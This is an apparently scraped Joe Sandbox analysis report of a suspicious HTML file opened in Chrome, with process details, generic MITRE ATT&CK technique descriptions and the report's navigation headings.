4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Target ID:	2
Start time:	07:43:20
Start date:	26/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Technical Details & Profile Illustrations for This#U00a0Drygair.html"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	07:43:21
Start date:	26/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2232,i,7297002213465631011,3604474927150195769,262144 /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Technical Details & Profile Illustrations for This#U00a0Drygair.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Chrome Cache Entry: 125

Chrome Cache Entry: 126

Chrome Cache Entry: 127

Chrome Cache Entry: 128

Chrome Cache Entry: 129

Windows Analysis Report
Technical Details & Profile Illustrations for This#U00a0Drygair.html